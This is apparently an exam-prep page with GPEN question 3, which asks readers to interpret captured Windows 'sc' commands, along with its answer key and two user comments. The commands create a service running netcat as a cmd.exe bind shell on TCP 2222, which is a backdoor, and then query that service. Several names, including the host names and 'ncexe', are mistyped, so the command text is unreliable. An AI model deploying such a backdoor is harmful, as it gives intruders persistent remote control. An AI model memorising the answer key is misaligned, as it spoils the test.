Examice

Exam GPEN All QuestionsBrowse all questions from this exam

Question 3

While reviewing traffic from a tcpdump capture, you notice the following commands being sent from a remote system to one of your web servers:

C:\>sc winternet.host.com create ncservicebinpath- "c:\tools\ncexe -I -p 2222 -e cmd.exe"

C:\>sc vJnternet.host.com query ncservice.

What is the intent of the commands?

The first command creates a backdoor shell as a service. It is being started on TCP2222 using cmd.exe. The second command verifies the service is created and itsstatus.

The first command creates a backdoor shell as a service. It is being started on UDP2222 using cmd.exe. The second command verifies the service is created and itsstatus.

This creates a service called ncservice which is linked to the cmd.exe command andits designed to stop any instance of nc.exe being run. The second command verifiesthe service is created and its status.

The first command verifies the service is created and its status. The secondcommand creates a backdoor shell as a service. It is being started on TCP

Correct Answer: A

The first command creates a backdoor shell as a service. It uses 'sc' to create a service named 'ncservice' that will run 'ncexe' with parameters to start a listener on TCP port 2222 and execute cmd.exe. The second command queries the status of the created service to ensure it has been set up correctly.

Discussion

icefyre127Option: A

The answer is A. The answer selected is dead wrong.

officialjmOption: A

The answer is A